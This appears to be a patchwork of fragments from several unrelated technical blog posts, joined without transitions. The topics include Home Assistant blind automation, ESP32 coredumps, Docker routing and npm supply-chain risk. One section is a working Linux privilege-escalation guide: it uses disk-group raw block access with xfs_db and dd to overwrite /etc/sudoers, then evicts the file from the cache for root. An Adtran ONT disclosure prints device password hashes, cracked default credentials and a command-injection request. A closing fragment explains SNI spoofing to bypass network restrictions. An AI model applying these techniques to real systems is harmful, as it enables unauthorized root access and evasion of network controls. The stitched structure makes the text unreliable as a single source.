Convert a Physical Problem into a Digital Problem

I want to open and close my blinds automatically. This requires something that can physically control my blinds and expose an API or service which Home Assistant can call to make the physical state match the desired state. For this I chose to use a few of the SwitchBot Blind Tilt controllers. SwitchBot has a gold quality integration that makes use of ESPHome Bluetooth Proxies.

Once setup, the SwitchBot app is no longer needed, you can have complete control with Home Assistant. If you have multiple windows facing the same direction, you can create a group to control them all with a single entity. If you have windows facing different directions, you will need a separate glare sensor and automation for each direction since the frustum angles will differ.

Automating the “Glare” State

The desired logic is the window blinds should be open if all of the following are true, else closed:

• the sun is above the horizon (there is daylight outside)
• it is not cloudy
• the sun is not directly visible from my seated position (either to my eyes or reflected on my screen)

The first two can be determined by using the sun and weather entities in Home Assistant, but that last one requires some math.

Calculating Glare Frustum

In order to mathematically determine if there is glare, we need to determine the frustum between my eyes, and the window, relative to each other. This provides a projected bounding box to compare to the position of the sun using its azimuth and elevation.

To calculate this, we need:

• window heading (which compass direction it faces — use a compass app on your phone pointed perpendicular out through the window)
• distance between eyes and window
• distance between center of eyes and:
  • window’s horizontal left edge
  • window’s horizontal right edge
  • vertical top of window
  • vertical bottom of window

Once these measurements are taken, we can calculate the solar Azimuth and Elevation bounds for which there is glare.

Take these measurements and enter their values in the following python script to calculate the boundaries. The variable names match the labels in the diagram above.

import math

# --- INPUTS: REPLACE THESE WITH YOUR MEASUREMENTS ---
# Units don't matter (cm/inches) as long as they are consistent.

# 1. Compass direction your window faces (0=N, 90=E, 180=S)
HEADING = 90

# 2. Distance from eye to window glass
D = 100

# 3. Horizontal Offsets (Positive numbers)
# How far LEFT of your nose is the left window edge?
W_LEFT = 50
# How far RIGHT of your nose is the right window edge?
W_RIGHT = 50

# 4. Vertical Offsets (Positive numbers)
# How far UP from eye level is the top of the glass?
H_TOP = 40
# How far DOWN from eye level is the bottom of the glass?
H_BOTTOM = 10

# 5. Artificial Horizon (Optional)
# If structures outside the window (neighbor's roof, fence, etc.) block
# the sun below a certain angle, set E_MIN to that angle in degrees.
# Set to 0 if there are no obstructions.
E_MIN = 0

# --- ALGORITHM ---

def calculate_angles():
    # 1. Calculate Field of View angles relative to the "Center Line" of sight
    # arctan(opposite / adjacent) * (180 / pi)

    # Horizontal angles (relative to straight ahead)
    angle_left = math.degrees(math.atan(W_LEFT / D))
    angle_right = math.degrees(math.atan(W_RIGHT / D))

    # Vertical angles (relative to horizon/eye-level)
    angle_up = math.degrees(math.atan(H_TOP / D))
    angle_down = math.degrees(math.atan(H_BOTTOM / D))

    # 2. Convert to World Coordinates (Azimuth & Elevation)
    # Azimuth: North is 0.
    # If looking out window (HEADING), Left is (-), Right is (+)

    az_min = HEADING - angle_left
    az_max = HEADING + angle_right

    # Sun elevation is relative to the horizon (0°).
    # The sun is never below the horizon, so min elevation defaults to 0.
    # Use E_MIN to account for structures blocking the sun at low angles.
    # Max elevation is the angle from eye level to the top of the window.
    el_min = max(E_MIN, 0.0)
    el_max = angle_up

    print("-" * 30)
    print("HOME ASSISTANT CONFIGURATION VALUES")
    print("-" * 30)
    print(f"Azimuth Min: {az_min:.1f}")
    print(f"Azimuth Max: {az_max:.1f}")
    print(f"Elevation Min: {el_min:.1f}")
    print(f"Elevation Max: {el_max:.1f}")
    print("-" * 30)

if __name__ == "__main__":
    calculate_angles()

Glare Template Sensor

Now that the Azimuth and Elevation boundaries are calculated, we can create a binary template sensor in Home Assistant to reflect the current glare state.

In order to make the automation even simpler, the template will also take into consideration the current weather cloud coverage.

Replace the values below with the bounds returned by the python script. You may also need to update the weather provider if a different one is in use.

template:
  - binary_sensor:
      - name: "Office Glare"
        unique_id: office_glare
        icon: mdi:sun-angle
        state: >
          {# --- SENSOR INPUTS --- #}
          {% set az = states('sensor.sun_solar_azimuth') | float(0) %}
          {% set el = states('sensor.sun_solar_elevation') | float(0) %}
          {% set clouds = state_attr('weather.pirate_weather', 'cloud_coverage') | float(0) %}

          {# --- WINDOW CONFIGURATION --- #}
          {# The compass direction range where the window is visible #}
          {% set az_min = 92.0 %}
          {% set az_max = 138.4 %}

          {# The vertical range (Horizon -> Window Top) #}
          {# Min is 15.0 due to neighbor's roof blocking sun below that angle #}
          {% set el_min = 15.0 %}
          {% set el_max = 33.0 %}

          {# --- WEATHER CONFIGURATION --- #}
          {# Glare only happens if clouds are low. (0-100 scale) #}
          {% set cloud_threshold = 30 %}

          {# --- LOGIC --- #}
          {% set is_aligned_horizontally = az_min <= az <= az_max %}
          {% set is_aligned_vertically = el_min <= el <= el_max %}
          {% set is_clear_sky = clouds < cloud_threshold %}

          {{ is_aligned_horizontally and is_aligned_vertically and is_clear_sky }}

Once created, the sensor binary_sensor.office_glare returns an on state when the sun is in a position that would cause glare, and off otherwise.

Solar Glare Automation

Now that the glare sensor is created, an automation is needed to control the blinds given the glare and sun state. The blinds should only be open when the sun is up AND there is no glare; otherwise they close. The glare trigger uses a 2-minute buffer to prevent the blinds from rapidly toggling on partly cloudy days.

The SwitchBot Blind Tilt uses tilt_position values from 0 to 100, where 0 is fully closed and 50 is fully open (horizontal). Values above 50 tilt the blinds the other direction.

The following automation does that:

alias: Office Blinds
mode: single
triggers:
  - trigger: sun
    event: sunset
  - trigger: sun
    event: sunrise
  - trigger: state
    entity_id:
      - binary_sensor.office_glare
    for:
      minutes: 2
actions:
  - if:
      - condition: sun
        before: sunset
        after: sunrise
      - condition: state
        entity_id: binary_sensor.office_glare
        state: "off"
    then:
      - action: cover.set_cover_tilt_position
        data:
          tilt_position: 50
        target:
          entity_id: cover.office_blinds
    else:
      - action: cover.set_cover_tilt_position
        data:
          tilt_position: 0
        target:
          entity_id: cover.office_blinds

After running this for a few days, you may need to adjust the boundaries a little. Here are some tips:

• Glare starts before blinds close? Decrease az_min or el_min to widen the start of the glare range.
• Blinds close but there’s no glare yet? Increase az_min or el_min to narrow the start of the glare range.
• Blinds open but there’s still glare? Increase az_max or el_max to widen the end of the glare range.
• Blinds close on overcast days? Increase cloud_threshold.
• Blinds close when sun is behind a roof/structure? Increase el_min.

Once you get the values correct, it is very stable. Since the values for the sun’s Azimuth and Elevation are used, the calculations should work year round, even as the angle of the sun changes season to season.

The disk group seems innocent enough - it’s meant for disk management utilities. But give someone disk group access and you’ve essentially handed them root. Here’s how to exploit raw block device access to bypass all file permissions and escalate privileges.

While the XKCD comic above is tongue-in-cheek, using dd for filesystem manipulation is genuinely powerful and dangerous. The Linux disk group allows raw access to disks on the system. It’s meant to allow members to use tools to manage disk partitions and format disks at the block level. However, it can also be used to get arbitrary file read/write by directly editing the disk contents even if file system permissions forbid it. For this reason it is a very privileged group and should be considered equivalent to root access.

The disk group is usually gid 6 and allows full read/write access to block devices.

Showing raw disk devices on a Linux system belonging to the disk group

If you can get into the disk group (without needing root access), you can use tools like debugfs for ext4 filesystems and xfs_db for xfs filesystems to interact with the disks. debugfs is quite user friendly with options to directly copy files into and out of the raw disk. xfs_db, on the other hand, is much lower level and will require using other tools such as dd to read/write to files on the disk.

For this guide, we will be working with xfs_db on an xfs filesystem.

File Read

Example with xfs filesystem over LVM. Here rhel_eda--c-root is a LVM volume mapped to /dev/dm-0

These tools can let you view any data on the raw disk device, regardless of the filesystem permissions. Even if the volume is mounted.

If the filesystem is mounted these tools may prevent writing, but we can use dd to work around that limitation.

In order to read the file, we need to get the offsets of the file’s blocks from the filesystem. In order to get this, we can start with the inode of the file on the filesystem to query its block addresses. ls -li can list the inode of any file, even if we don’t have read access to it.

Getting the inode of /etc/sudoers even though we do not have read access to the file:

Getting the startblock and number of blocks that make up this file:

Using xfs_db to print part of the first block manually, even though we do not have filesystem read access

# this prints the block map for the file at the given inode
$ xfs_db -r /dev/dm-0 -c 'inode <INODE_NUM>'  -c 'bmap'

# print the file's first block as hex
# use sed and xxd to print as ascii
$ xfs_db -r /dev/dm-0 -c 'inode <INODE_NUM>'  -c 'dblock 0' -c 'type data' -c print | sed 's/.*://; s/[[:space:]]//g' | xxd -r -p

Here we see that the file is 2 blocks. We read the first block by specifying dblock 0

The file is printed as data so that it is displayed in hex. Then sed 's/.*://; s/[[:space:]]//g' removes white space and line numbers so that xxd -r -p can convert the hex data back into text.

To get the 2nd block (or others) use dblock 1 replacing 1 with the 0-offset block number.

File Write

Reading protected files is interesting, but the real fun begins when we start writing.

In order to write to the file system while the drive is mounted, we can use dd and seek to the exact offset of the file contents we want to overwrite.

In order to write directly to the disk, we need to know the offset to write at. This can be manually calculated from the startblock and agblocks from xfs_db. Below is a shell script to automate that:

#!/bin/bash
INODE="$1" # pass inode as argument
DEVICE=/dev/dm-0
OFFSET_IN_FILE=0  # Change this to edit at a different position in the file

# Get block info
BMAP_OUTPUT=$(xfs_db -r $DEVICE -c "inode $INODE" -c 'bmap' | grep "startblock")

# Extract AG and block (this assumes format: startblock XXXXX (AG/BLOCK))
AG=$(echo "$BMAP_OUTPUT" | sed -n 's/.*(\([0-9]*\)\/[0-9]*).*/\1/p')
BLOCK_IN_AG=$(echo "$BMAP_OUTPUT" | sed -n 's/.*([0-9]*\/\([0-9]*\)).*/\1/p')

# Get agblocks from xfs_db
# You can find this value by running: xfs_db -r $DEVICE -c 'sb 0' -c 'print agblocks'
AGBLOCKS=$(xfs_db -r $DEVICE -c 'sb 0' -c 'print agblocks' | awk '{print $3}')

# Calculate
ABSOLUTE_BLOCK=$((AG * AGBLOCKS + BLOCK_IN_AG))
BYTE_OFFSET=$((ABSOLUTE_BLOCK * 4096 + OFFSET_IN_FILE))

echo "AG: $AG"
echo "Block in AG: $BLOCK_IN_AG"
echo "Absolute block: $ABSOLUTE_BLOCK"
echo "Byte offset: $BYTE_OFFSET"

In order to test this and ensure you have the right offset, always read the file contents first using dd.

Reading the start of the first block of /etc/sudoers with dd to confirm that the offset into the disk is correct

# read 1000 bytes from the data at <BYTE_OFFSET>
dd if=/dev/dm-0 bs=1 status=none skip=<BYTE_OFFSET> count=1000

If we see the data we expected, it is safe to overwrite. If dd prints something else, recheck your offsets. If you write to the wrong location you could corrupt the filesystem and cause unexpected behavior.

File writing: Privilege Escalation

If you are a member of the disk group, but not able to become root or use sudo, you can add yourself to /etc/sudoers to gain full root privileges.

You would want to add the following: YOUR_USERNAME ALL=(ALL) NOPASSWD: ALL

replacing YOUR_USERNAME with the username you want to add to sudoers.

Once done, if any program reads the file it may still not see the changes. This is because the kernel has cached the previous version of the file in memory. Since we did not edit the file using the normal system calls, the kernel does not know the file has been changed on disk. We need to tell the kernel to invalidate the cache so that the file is read from disk to see the changes.

The normal way to do this would be to have the kernel be aware of any file changes, for example a touch /path/to/file would normally work, but since we do not have write access to the file in the OS this is not possible.

Another possibility would be to tell the kernel to drop all file system caches, but this still requires root, which we do not yet have:

# This would force the kernel to drop cached file data
# Only the root user can write here, so this would fail
echo 3 > /proc/sys/vm/drop_caches

However, the kernel does allow any user with read access to a file to evict it from the file system cache.

If the vmtouch command is available, you can run vmtouch -e /path/to/file to evict it from the kernel’s cache so that the next time the file is accessed a fresh copy is read from disk. If vmtouch is not installed, you can download the source and compile it yourself.

Alternatively, the same can be done with this minimal python script:

#!/usr/bin/env python3
import os
import sys

if len(sys.argv) != 2:
    print(f"Usage: {sys.argv[0]} /path/to/file")
    sys.exit(1)

file_path = sys.argv[1]

try:
    # You only need read access to open the file
    fd = os.open(file_path, os.O_RDONLY)
    stat_info = os.fstat(fd)

    # Tell the kernel we don't need the cache for this file
    # (from offset 0 to the end of the file)
    os.posix_fadvise(fd, 0, stat_info.st_size, os.POSIX_FADV_DONTNEED)

    os.close(fd)
    print(f"Successfully evicted '{file_path}' from cache.")

except FileNotFoundError:
    print(f"Error: File not found at '{file_path}'")
except PermissionError:
    print(f"Error: No read permission for '{file_path}'")
except Exception as e:
    print(f"An error occurred: {e}")

After the cache eviction, the next time the file is read the new modified version will be used from disk.

sudo -s works!

All processing happens client-side with no server-side storage. Configuration options include DNS server selection, MTU adjustment, allowed IPs, and persistent keepalive settings. A command-line shell script is also available for terminal-based workflows.

Example:

./scripts/warp-register.sh > warp.conf

Built by reverse engineering the SwOS HTTP API, it provides complete programmatic access to all switch features. Works with both SwOS and SwOS Lite, supports everything from port configs and PoE to VLANs and SNMP settings.

Comes with a CLI tool for quick lookups and a full Ansible module for managing your entire switch fleet through YAML playbooks. Compatible with CRS305, CRS310, CRS326, CSS610 and other SwOS-based switches.

The Problem: A Decade of Escalating Supply Chain Attacks

Timeline

March 2016: Left-pad incident - removing an 11-line dependency broke thousands of projects including Babel and React.

October 2021: ua-parser-js compromise - library with 7M+ weekly downloads hijacked multiple times, injecting cryptocurrency miners and password stealers.

January 2022: colors.js/faker.js sabotage - maintainer intentionally broke packages with 20M+ weekly downloads.

September 2025: Shai-Hulud attack - 20+ packages including chalk, debug, ansi-styles, and strip-ansi with 2.6B+ weekly downloads compromised through maintainer phishing.

Attack Vectors

• Typosquatting: Malicious packages with names similar to popular libraries
• Dependency Confusion: Public packages mimicking private internal packages with higher version numbers
• Maintainer Account Compromise: Targeting legitimate maintainer credentials
• Subdependency Poisoning: Compromising lesser-known dependencies deep in the tree

Minimal Dependencies in Practice

Dependency management is about making informed choices. npm’s micro-package culture creates vast dependency trees, while languages like Go emphasize standard libraries and focused dependencies.

Real-World Examples of “Less is More”

For the libraries I maintain (eg: czds and extsort), minimal dependencies are a core principle. Sometimes I’ll implement something like minimal JWT parsing myself rather than pulling in a full cryptographic library with dozens of dependencies.

The github.com/miekg/dns Go library demonstrates this perfectly: it’s feature-complete for DNS operations but relies only on Go’s standard library and a few golang.org/x/ packages. Compare this to typical npm packages that can easily pull in 100+ transitive dependencies for similar functionality.

Each dependency is a potential attack vector. Libraries with many dependencies spread trust across countless organizations and individuals.

Dependency Decision Framework

Every dependency addition is a decision point. The difference between my JWT implementation and a typical npm approach: 20 lines of focused code versus potentially hundreds of transitive dependencies.

Risk Assessment

Before adding any dependency:

• Scope: Is this dependency doing more than I need?
• Maintenance: How many maintainers does it have? When was it last updated?
• Trust Surface: How many transitive dependencies does it bring?
• Value Ratio: What’s the complexity vs. security impact ratio?

Implementation vs. Import

Implement yourself when:

• Simple, well-defined functionality (like string padding or basic parsing)
• Security-critical code where you need full control
• Stable requirements unlikely to change
• The “wheel” being reinvented is actually a simple function

Import dependencies for:

• Complex algorithms you’re unlikely to implement correctly
• Cryptographic functions requiring specialized expertise
• Well-established protocols with extensive edge cases
• Libraries with strong track records and minimal dependencies

My JWT parsing handles the specific decoding I need without the complexity of a full cryptographic library. The tradeoff: I handle basic token validation, but avoid 50+ dependencies that come with full-featured JWT libraries.

Ecosystem Considerations

The npm ecosystem’s micro-package culture creates different risks than Go’s standard-library approach:

• npm: 100+ transitive dependencies for basic functionality is common
• Go: Standard library covers most needs, focused external packages
• Python: Mix of comprehensive standard library and ecosystem packages
• Risk: Each ecosystem’s culture shapes your attack surface

Core Principles

1. Every dependency is a trust decision - you’re trusting not just the library, but its entire dependency tree
2. Evaluate the value-to-risk ratio - sometimes 10 lines of custom code beats 50 transitive dependencies
3. Audit what you actually need - many libraries provide far more functionality than you’ll use
4. Factor in long-term maintenance - consider the burden of keeping dependencies updated vs. maintaining focused implementations

Defensive Strategies

Dependency Auditing: Use npm ls or go mod graph to visualize your complete dependency chain. Look for unexpected depth or breadth.

Version Pinning: Pin exact versions rather than using ranges. This prevents automatic malicious updates but requires active management for security patches.

Vulnerability Scanning: Integrate tools like npm audit, go mod tidy, or language-specific security scanners into your CI/CD pipeline.

Standard Library First: Default to language standard libraries when possible. They’re maintained by core language teams and have fewer dependencies.

Regular Cleanup: Periodically audit and remove unused dependencies. Dead code dependencies still represent attack surface without value.

Supply chain attacks have evolved from accidental disruption to targeted campaigns. Every dependency extends trust to its maintainers and their entire dependency tree. Minimal dependencies are essential security practice.

I’ve just released drouter, a lightweight systemd service that solves this problem by automatically injecting routes into Docker containers based on simple labels.

The Problem

Consider this scenario: you’re using a macvlan network driver so your containers get real IP addresses on your network (say 192.168.1.0/24). Your router is at 192.168.1.1, but you have additional internal subnets like 10.0.0.0/8 that are reachable through a different gateway at 192.168.1.254.

Without custom routes, your containers can only reach networks directly connected to their default gateway. Traffic to 10.0.0.0/8 would fail because the container doesn’t know how to route to that network.

Traditional solutions require either:

• Running containers with NET_ADMIN capabilities (security risk)
• Manual route configuration after container startup (not scalable)
• Complex init scripts inside containers (maintenance overhead)

The Solution

Drouter monitors Docker container events and automatically adds routes to containers based on labels. When a container starts with drouter.routes.* labels, the service enters the container’s network namespace and configures the specified routes.

Here’s how simple it is to configure:

# docker-compose.yml
services:
  app:
    image: nginx
    networks:
      - macvlan_net
    labels:
      drouter.routes.ipv4: "10.0.0.0/8 via 192.168.1.254"

Now your container can reach the 10.0.0.0/8 network through the 192.168.1.254 gateway, even though it’s not the default route.

Installation

Drouter runs as a systemd service on your Docker host. See the installation instructions on GitHub for the latest setup steps.

Configuration Examples

Multiple Routes

You can specify multiple routes using semicolon separation or multi-line format:

# Single line with semicolons
labels:
  drouter.routes.ipv4: "10.0.0.0/8 via 192.168.1.254;172.16.0.0/12 via 192.168.1.253"

# Multi-line format (easier to read)
labels:
  drouter.routes.ipv4: |
    10.0.0.0/8 via 192.168.1.254
    172.16.0.0/12 via 192.168.1.253

IPv6 Support

Drouter fully supports IPv6 routing:

labels:
  drouter.routes.ipv6: "2001:db8::/32 via fe80::1"

Docker CLI

For non-compose deployments:

docker run -d \
  --label drouter.routes.ipv4="10.0.0.0/8 via 192.168.1.254" \
  --net macvlan_net \
  nginx

How It Works

Drouter uses Docker’s event API to monitor container lifecycle events. When a container starts with route labels, it:

1. Detects the container’s network namespace
2. Uses nsenter to enter the namespace
3. Adds routes with standard ip route add commands
4. Skips duplicate routes to avoid conflicts

The service handles Docker daemon restarts gracefully and doesn’t require elevated privileges for the containers themselves.

Why This Matters

This approach is particularly valuable for:

• Macvlan networks: Containers with real IPs need custom routing for internal networks
• Multi-homed environments: Networks with multiple gateways or complex topologies
• Microservices: Different services needing access to different network segments
• Security: Avoiding NET_ADMIN capabilities in containers

Before drouter, I was manually configuring routes or writing custom init scripts. Now it’s as simple as adding a label to my compose file.

The source code and detailed documentation are available on GitHub. Give it a try if you’re dealing with complex Docker networking scenarios!

The web dashboard displays real-time analytics including current wait-list sizes, estimated wait times for /22, /23, and /24 blocks, and historical trends in IPv4 address allocation. This tool helps network administrators understand IPv4 scarcity patterns and plan address allocation strategies as IPv4 exhaustion continues.

Configuration

To enable coredump functionality, you’ll need to modify your ESPHome configuration and create a custom partition table. This setup is for the Arduino framework - ESP-IDF configurations will differ slightly.

ESPHome Configuration

Add the following to your ESPHome YAML configuration:

esp32:
  framework:
    type: arduino
  # Partitions file seems to require full path
  partitions: /full/path/to/custom_partitions_core_dump.csv
  
esphome:
  platformio_options:
    build_flags: 
      - -DCONFIG_ESP_COREDUMP_ENABLE_TO_FLASH=y
      - -DCONFIG_ESP32_COREDUMP_DATA_FORMAT_ELF=y
      - -DCONFIG_ESP32_COREDUMP_CHECKSUM_CRC32=y

# Optional: Button to trigger test crashes
button:
  - platform: template
    name: "Test Crash"
    id: crash_button
    on_press:
      then:
        - lambda: |-
            ESP_LOGE("test", "Crashing device intentionally!");
            int* p = nullptr;
            *p = 42;

Custom Partition Table

Create a custom partition table file (custom_partitions_core_dump.csv). This is an example for an ESP32 with 8MB flash:

# Name,   Type, SubType,  Offset,   Size,     Flags
nvs,      data, nvs,      0x9000,   0x5000,
otadata,  data, ota,      0xE000,   0x2000,
app0,     app,  ota_0,    0x10000,  0x3C0000,
app1,     app,  ota_1,    0x3D0000, 0x3C0000,
eeprom,   data, 0x99,     0x790000, 0x1000,
coredump, data, coredump, 0x791000, 0x10000,
spiffs,   data, spiffs,   0x7A1000, 0x5F000

The key addition is the coredump partition which reserves 64KB (0x10000) of flash storage for crash dumps.

Extracting Coredumps

When a crash occurs, the ESP32 will write the coredump to the dedicated partition. To analyze it:

1. Copy the firmware ELF file (needed for symbol resolution):

   cp .esphome/build/your-device/.pioenvs/your-device/firmware.elf firmware.elf
   

2. Extract and analyze the coredump:

   esp-coredump --port /dev/ttyACM0 info_corefile --save-core=my_core_dump.bin --core-format=raw firmware.elf > coredump.txt
   

3. Save coredump for offline analysis:

   # Extract raw coredump from flash
   esptool.py --port /dev/ttyACM0 read_flash 0x791000 0x10000 coredump.bin
   
   # Erase the coredump partition for next crash
   esptool.py --port /dev/ttyACM0 erase_region 0x791000 0x10000
   
   # Analyze offline
   esp-coredump info_corefile --core coredump.bin --core-format=raw firmware.elf
   

Installing ESP-IDF Tools

The esp-coredump tool is part of the ESP-IDF framework. Install it by cloning the ESP-IDF repository:

git clone --depth 1 --recursive https://github.com/espressif/esp-idf.git
cd esp-idf
./install.sh

# run this every time to add the esp-idf tools to your PATH
. ./export.sh

Online Stack Trace Decoder

For quick analysis without local ESP-IDF installation, use the ESPHome Stack Trace Decoder web tool. Simply paste your stack trace and firmware ELF file to get decoded function names and line numbers.

Summary

Coredump debugging significantly improves the development experience when working with ESPHome on ESP32 devices. The detailed crash information helps identify issues that would otherwise require extensive trial-and-error debugging. Once configured, coredumps are automatically generated on each crash, overwriting the previous dump.

Adtran produces equipment for fiber ISPs. I was provided an Adtran 411 by my current ISP for Internet access and decided to take a deep look into it.

Hardware

The Adtran 411 is a small GPON fiber ONT (Optical Network Terminal) designed to give symmetrical gigabit fiber Internet to SOHO users. It connects to the ISP via a GPON uplink and provides the user a normal ethernet RJ-45 connector to plug their router into and a RJ-11 port for a landline to be tunneled over VOIP.

The fiber ONT has a Broadcom MIPS CPU that also provides the network card as well.

The first step to learning more about the device is to look for any possible UART connections to grab serial logs. If present, the UART can provide boot logs and allow interacting with the device at a low level. Ideally this could also provide access to the bootloader and interact with the OS.

A UART can be identified by 3-4 pins, which will include Ground, Tx, Rx, and possibly a VCC. The Adtran just happened to have a hidden 4 pin header inside the device. Using a multimeter and logic analyzer revealed the pinout, and was able to provide the boot logs from the device. Amusingly, it can be accessed entirely externally by pushing wires through the vent holes!

The UART boot logs revealed that the device uses the uBoot boot loader and runs Linux. Once booted, it prompts for login credentials.

Dumping the Filesystem

The hardware contains a NAND flash chip. This acts as the persistent storage for the device. The ideal way is to desolder the NAND flash storage and use an external NAND dumper, however that can risk damaging the device when removing or re-adding the NAND flash from the board.

The NAND flash can also be dumped on-device using a much slower method through uBoot. This method involves using the UART serial connection to tell uBoot to load the entire contents of the NAND flash into memory, then read the memory that contains the NAND flash and print the output as hex over the UART serial. While this is running, log all of the serial output and later parse this hex output and reconstruct the binary from flash.

This can be done using tools like screen, grep, sed, xxd, etc. Converting from binary to hex+ASCII over a serial connection is incredibly slow. This can be automated with the Python tool bcm-cfedump. It took 15.5 hours to dump 128MB.

Exploring the Filesystem

The boot logs contained the partition layout for the NAND flash. We can use dd to carve out the individual partitions from the dump.

dd bs=1 if=nand.bin  of=nvram.bin skip=0 count=131072
dd bs=1 if=nand.bin  of=update.bin count=64356352 skip=131072
dd bs=1 if=nand.bin  of=rootfs.bin count=64356352 skip=64487424
dd bs=1 if=nand.bin  of=data.bin count=4194304 skip=128974848

Next the files from the embedded JFFS2 filesystem can be extracted with the jefferson tool.

Users & Passwords

With access to the entire flash filesystem, it is possible to read /etc/passwd to get a list of users. Surprisingly this also contained password hashes. On modern Linux systems, passwords are saved in /etc/shadow, but this system had all of the hashes in the passwd file.

admin:$1$fiLRvAiv$WhZdXwZIDJ4QvO0XB1fdk0:0:0:Administrator:/:/bin/sh
support:$1$g0vSrd8Z$gBnlXTkhvDr4dJrFP0I1n1:0:0:Technical Support:/:/bin/sh
user:$1$7GYEnL0B$MbHFofzaMetppUwgKmvfv0:0:0:Normal User:/:/bin/sh
nobody:$1$cd1QZr5m$TUd00gjlgEa8C/WZ0RMa9.:0:0:nobody for ftp:/:/bin/sh

There were four users, all of which belonged to the root group, gid 0. The password hashes are hashed using the MD5 algorithm as specified by the prefix $1$.

I was able to crack two of the password hashes using cheap online hash cracking services. This revealed the following two passwords:

• user:user
• support:support

I’m a little embarrassed that I did not guess these passwords initially. It’s also very unusual that the nobody user has a password, and has a shell assigned to it. Especially if it’s just meant for FTP as designated by the user account name.

These credentials worked to login on the UART shell, but more on that later…

SysRq

There was this SysRq message in the boot logs. SysRq is an abbreviation for System Rq. What is System Rq?

The magic SysRq key is a key combination understood by the Linux kernel, which allows the user to perform various low-level commands regardless of the system’s state. It is often used to recover from freezes. This key combination provides access to features for disaster recovery.

The keystrokes are: [Alt] + [SysRq] + [Command Key], however, over UART in screen: [Ctrl-A] + [Ctrl-B] + [Command Key]. On systems that have SysRq enabled, it’s possible to enter a root shell at any time by sending a special keystroke to the device. Sending the command for SIGKILL drops to root shell!

Network Scan

The boot logs revealed the device assigns itself a static IP of 192.168.1.1. Statically adding an IP on the same subnet to your machine connected to the ONT over ethernet allows direct network communication. A port scan reveals that there are two services running, HTTP and Telnet.

Telnet Service

The telnet interface drops you into the same restricted shell as UART that requires auth. The passwords collected previously from the filesystem work!

After logging in, you are dropped to a very limited custom CLI. It’s not a traditional shell. There are only a few limited debugging commands available like ping. Is it possible to escape this limited shell? Yes!

Telnet Command Injection

The ping command allows for command injection via semicolon (;).

Web HTTP Service

Accessing the device over the network on port 80 presents a HTTP login form, which the previously collected credentials worked on. Logging in as user provides some limited viewing of settings in the web interface. The access control page makes it clear the admin user has more permissions…

From the filesystem exploration, it was possible to identify additional hidden web pages that were not linked to in the menus.

/engdebug.html allows for mirroring network port traffic for debugging

/packatcapture.html allows for creating PCAP files for any interface.

These debug pages provided very privileged access for a non-admin user.

Web Command Injection

The ping utility has a similar command injection vulnerability as the CLI. You need to use two requests: one to run the command, and another to read the response.

Sending a HTTP GET request to /ping.txt?action=ping&command=cat%20/proc/cpuinfo will initiate the “ping” command that will actually run the PoC command cat /proc/cpuinfo. The response from that command can later be received by requesting /ping.txt?action=refresh.

Dumping More Credentials

There was another hidden HTTP endpoint at dumpsysinfo.html that was accessible from the non-admin user that allows for the creation of a “system information dump”. This dumps all config with all user passwords to a plain text XML file. Now I have the admin password! The dump also includes SIP and other passwords too.

Control Plane

With live shell access to the device, when plugged in and online, there are lots of internal interfaces online including internal network interfaces, VLANs, and bridges. One of these interfaces is the control plane interface that provides some limited access to the ISP’s management network.

The main bridge br0 is the customer facing ethernet connection with the 192.168.1.1 IP address. There is also an IP on VLAN 702 on the GPON Fiber interface of 10.8.128.0/19. This is a huge subnet with >8k IPs, likely containing all of the other ISP’s customers in this area. I was able to confirm other customers of this ISP could ping hosts on the control plane from behind their ONT.

All of the network services (Telnet, HTTP) are listening on all interfaces, including the control-plane. In theory this could allow a customer behind a compromised ONT to compromise other customers remotely. With permission from my ISP I tested this and it does appear that customer to customer ONT traffic is blocked. However, some limited access to other devices on the control plane was accessible, including the gateway, DNS and VOIP server.

Disclosure

None of these findings were the ISP’s fault. All issues reside in the firmware for the Adtran ONT. As soon as the ISP was made aware they took steps to make Adtran fix the issues and worked with me to do further testing. This is a security success story.

• February 6, 2024
  • submitted a support request to Adtran to disclose to
• February 9, 2024
  • submitted a 2nd support request to Adtran
• February 26, 2024
  • email ISP support to disclose
• February 29, 2024
  • heard back from ISP and provided all technical details of all findings
  • ISP acknowledges receiving findings
• March 1, 2024
  • ISP gives me permission and access to a test setup to test attacking other ONTs
  • Tests successfully fail.
• March 7th, 2024
  • ISP confirms Adtran is addressing the issues
• October 17th, 2024
  • Adtran test firmware is pushed to my home ONT for testing
  • I am given preview access to the new firmware and confirm all issues mitigated
  • UART/telnet/HTTP services are all disabled
• December 30th, 2024
  • Fixes start rolling out to customers.

CVEs (Common Vulnerabilities and Exposures)

• CVE-2025-22937
  • debug serial console in Adtran 411 allows SysRq escape to root shell
• CVE-2025-22938
  • Weak default passwords in Adtran 411
• CVE-2025-22939
  • command injection in telnet server in Adtran 411 allows remote attacker arbitrary root command execution
• CVE-2025-22940
  • web server in Adtran 411 allows unprivileged user to set/read admin password
• CVE-2025-22941
  • command injection in web server in Adtran 411 allows remote attacker arbitrary root command execution

BSidesSF: Adventures & Findings in ISP Hacking

This content was covered in a talk I gave at BSidesSF 2025.

Slides

The collection includes multiple firmware dumps processed through bin-voter to generate corrected flash images, detailed PCB trace analysis, and hardware documentation. This research provides insights into the printer’s embedded systems and potential modification opportunities.

The project serves as a humorous commentary on totalitarian approaches to cybersecurity and digital sovereignty. The website includes typical corporate sections like services, team profiles, and past work, all delivered through an over-the-top ideological lens that lampoons authoritarian cybersecurity practices and terminology.

There are numerous ways to get unrestricted egress on a restricted network. Here I will demonstrate how to use socat to tunnel a UDP connection over a TLS tunnel with a faked SNI domain in order to bypass network restrictions.

This technique works on a restricted network that allows outbound TLS traffic to at least a single domain, but only checks the domain in the TLS Client Hello SNI field, and not the destination IP address. I have found this to be a common setup on many captive portal or restricted networks making use of a DPI firewall to block all other network traffic.

Once an UDP tunnel is established, a UDP VPN such as WireGuard can be used to route all traffic unrestricted.

In order to test if this strategy would work on a restricted network, make a request to a HTTPS server with fake SNI information and verify that you get a response from the server you make the request to. Not all servers send an HTTP response for hosts they are not responsible for, but most seem to. Even if its an error message, that’s enough to verify that the connection successfully egressed the network and reached the destination server. I’ve found Cloudflare’s 1.1.1.1 does exactly this.

Use the following command replacing SNI_DOMAIN with the domain you want to test with. Remember, the SNI_DOMAIN needs to be a domain that the network allows HTTPS connections to. If the intended server responds, like the Cloudflare example below, then this method will work.

$ curl -vk --resolve $SNI_DOMAIN:443:1.1.1.1 "https://$SNI_DOMAIN"
<html>
<head><title>403 Forbidden</title></head>
<body>
<center><h1>403 Forbidden</h1></center>
<hr><center>cloudflare</center>
</body>
</html>

Server

The server only needs to be able to receive inbound network traffic on port 443. Any cheap VPS will do. A WireGuard server is also needed and can run on the same VPS. Setting up a WireGuard server is outside the scope of this post.

